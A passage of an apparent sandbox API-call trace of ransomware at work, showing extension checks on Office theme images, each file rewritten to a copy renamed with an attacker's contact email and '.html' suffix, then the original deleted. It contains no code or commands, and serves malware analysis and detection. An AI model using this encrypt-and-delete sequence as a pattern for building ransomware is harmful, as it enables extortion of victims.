[0045.941] lstrlenW (lpString=".bz2") returned 4 [0045.941] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.941] lstrlenW (lpString=".7z") returned 3 [0045.941] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0045.941] lstrlenW (lpString=".dbf") returned 4 [0045.941] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0045.941] lstrlenW (lpString=".1cd") returned 4 [0045.941] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0045.941] lstrlenW (lpString=".jpg") returned 4 [0045.941] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0045.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0045.942] lstrlenW (lpString=".doc") returned 4 [0045.942] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.942] lstrlenW (lpString=".docx") returned 5 [0045.942] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.942] lstrlenW (lpString=".pdf") returned 4 [0045.942] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.942] lstrlenW (lpString=".xls") returned 4 [0045.942] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.942] lstrlenW (lpString=".xlsx") returned 5 [0045.942] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.942] lstrlenW (lpString=".ppt") returned 4 [0045.942] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0045.942] lstrlenW (lpString=".zip") returned 4 [0045.942] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.942] lstrlenW (lpString=".rar") returned 4 [0045.942] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.942] lstrlenW (lpString=".bz2") returned 4 [0045.942] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.942] lstrlenW (lpString=".7z") returned 3 [0045.942] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0045.942] lstrlenW (lpString=".dbf") returned 4 [0045.943] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0045.943] lstrlenW (lpString=".1cd") returned 4 [0045.943] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0045.943] lstrlenW (lpString=".jpg") returned 4 [0045.943] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.943] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0045.943] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0045.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0046.206] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=18413) returned 1 [0046.206] CloseHandle (hObject=0x1e0) returned 1 [0046.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0046.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.206] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.213] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.213] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0046.224] GetLastError () returned 0x0 [0046.224] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x47ed, lpOverlapped=0x0) returned 1 [0046.240] WriteFile (in: hFile=0x220, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x47f0, lpOverlapped=0x0) returned 1 [0046.241] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.241] WriteFile (in: hFile=0x220, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.242] SetEndOfFile (hFile=0x220) returned 1 [0046.242] CloseHandle (hObject=0x220) returned 1 [0046.242] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.242] SetEndOfFile (hFile=0x1a8) returned 1 [0046.243] CloseHandle (hObject=0x1a8) returned 1 [0046.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.243] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 1 [0046.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0046.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0046.243] lstrlenW (lpString=".doc") returned 4 [0046.243] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.243] lstrlenW (lpString=".docx") returned 5 [0046.243] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.243] lstrlenW (lpString=".pdf") returned 4 [0046.243] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.243] lstrlenW (lpString=".xls") returned 4 [0046.243] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.243] lstrlenW (lpString=".xlsx") returned 5 [0046.243] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.243] lstrlenW (lpString=".ppt") returned 4 [0046.243] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0046.244] lstrlenW (lpString=".zip") returned 4 [0046.244] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.244] lstrlenW (lpString=".rar") returned 4 [0046.244] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.244] lstrlenW (lpString=".bz2") returned 4 [0046.244] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.244] lstrlenW (lpString=".7z") returned 3 [0046.244] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0046.244] lstrlenW (lpString=".dbf") returned 4 [0046.244] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0046.244] lstrlenW (lpString=".1cd") returned 4 [0046.244] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0046.244] lstrlenW (lpString=".jpg") returned 4 [0046.244] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0046.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0046.244] lstrlenW (lpString=".doc") returned 4 [0046.244] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.244] lstrlenW (lpString=".docx") returned 5 [0046.244] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.244] lstrlenW (lpString=".pdf") returned 4 [0046.244] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.244] lstrlenW (lpString=".xls") returned 4 [0046.244] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.244] lstrlenW (lpString=".xlsx") returned 5 [0046.244] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.244] lstrlenW (lpString=".ppt") returned 4 [0046.244] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0046.245] lstrlenW (lpString=".zip") returned 4 [0046.245] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.245] lstrlenW (lpString=".rar") returned 4 [0046.245] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.245] lstrlenW (lpString=".bz2") returned 4 [0046.245] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.245] lstrlenW (lpString=".7z") returned 3 [0046.245] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0046.245] lstrlenW (lpString=".dbf") returned 4 [0046.245] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0046.245] lstrlenW (lpString=".1cd") returned 4 [0046.245] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0046.245] lstrlenW (lpString=".jpg") returned 4 [0046.245] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.245] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0046.245] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.245] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1339) returned 1 [0046.246] CloseHandle (hObject=0x1a8) returned 1 [0046.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0046.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.246] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.246] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0046.250] GetLastError () returned 0x0 [0046.250] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x53b, lpOverlapped=0x0) returned 1 [0046.251] WriteFile (in: hFile=0x1e0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x540, lpOverlapped=0x0) returned 1 [0046.252] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.252] WriteFile (in: hFile=0x1e0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.252] SetEndOfFile (hFile=0x1e0) returned 1 [0046.252] CloseHandle (hObject=0x1e0) returned 1 [0046.252] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.252] SetEndOfFile (hFile=0x1a8) returned 1 [0046.253] CloseHandle (hObject=0x1a8) returned 1 [0046.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.253] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 1 [0046.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0046.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0046.253] lstrlenW (lpString=".doc") returned 4 [0046.254] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.254] lstrlenW (lpString=".docx") returned 5 [0046.254] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.254] lstrlenW (lpString=".pdf") returned 4 [0046.254] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.254] lstrlenW (lpString=".xls") returned 4 [0046.254] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.254] lstrlenW (lpString=".xlsx") returned 5 [0046.254] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.254] lstrlenW (lpString=".ppt") returned 4 [0046.254] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0046.254] lstrlenW (lpString=".zip") returned 4 [0046.254] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.254] lstrlenW (lpString=".rar") returned 4 [0046.254] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.254] lstrlenW (lpString=".bz2") returned 4 [0046.254] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.254] lstrlenW (lpString=".7z") returned 3 [0046.254] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0046.254] lstrlenW (lpString=".dbf") returned 4 [0046.254] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0046.254] lstrlenW (lpString=".1cd") returned 4 [0046.254] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0046.254] lstrlenW (lpString=".jpg") returned 4 [0046.255] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0046.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0046.255] lstrlenW (lpString=".doc") returned 4 [0046.255] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.255] lstrlenW (lpString=".docx") returned 5 [0046.255] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.255] lstrlenW (lpString=".pdf") returned 4 [0046.255] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.255] lstrlenW (lpString=".xls") returned 4 [0046.255] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.255] lstrlenW (lpString=".xlsx") returned 5 [0046.255] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.255] lstrlenW (lpString=".ppt") returned 4 [0046.255] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0046.255] lstrlenW (lpString=".zip") returned 4 [0046.255] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.255] lstrlenW (lpString=".rar") returned 4 [0046.255] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.255] lstrlenW (lpString=".bz2") returned 4 [0046.255] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.255] lstrlenW (lpString=".7z") returned 3 [0046.255] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0046.255] lstrlenW (lpString=".dbf") returned 4 [0046.255] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0046.255] lstrlenW (lpString=".1cd") returned 4 [0046.255] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0046.255] lstrlenW (lpString=".jpg") returned 4 [0046.256] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.256] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0046.256] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.256] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=16738) returned 1 [0046.256] CloseHandle (hObject=0x1a8) returned 1 [0046.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0046.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.256] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.256] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0046.257] GetLastError () returned 0x0 [0046.257] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x4162, lpOverlapped=0x0) returned 1 [0046.258] WriteFile (in: hFile=0x1e0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x4170, lpOverlapped=0x0) returned 1 [0046.259] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.259] WriteFile (in: hFile=0x1e0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.259] SetEndOfFile (hFile=0x1e0) returned 1 [0046.259] CloseHandle (hObject=0x1e0) returned 1 [0046.260] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.260] SetEndOfFile (hFile=0x1a8) returned 1 [0046.260] CloseHandle (hObject=0x1a8) returned 1 [0046.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.261] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 1 [0046.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0046.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0046.261] lstrlenW (lpString=".doc") returned 4 [0046.261] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.261] lstrlenW (lpString=".docx") returned 5 [0046.261] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.261] lstrlenW (lpString=".pdf") returned 4 [0046.261] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.261] lstrlenW (lpString=".xls") returned 4 [0046.261] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.261] lstrlenW (lpString=".xlsx") returned 5 [0046.261] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.261] lstrlenW (lpString=".ppt") returned 4 [0046.261] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0046.261] lstrlenW (lpString=".zip") returned 4 [0046.261] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.261] lstrlenW (lpString=".rar") returned 4 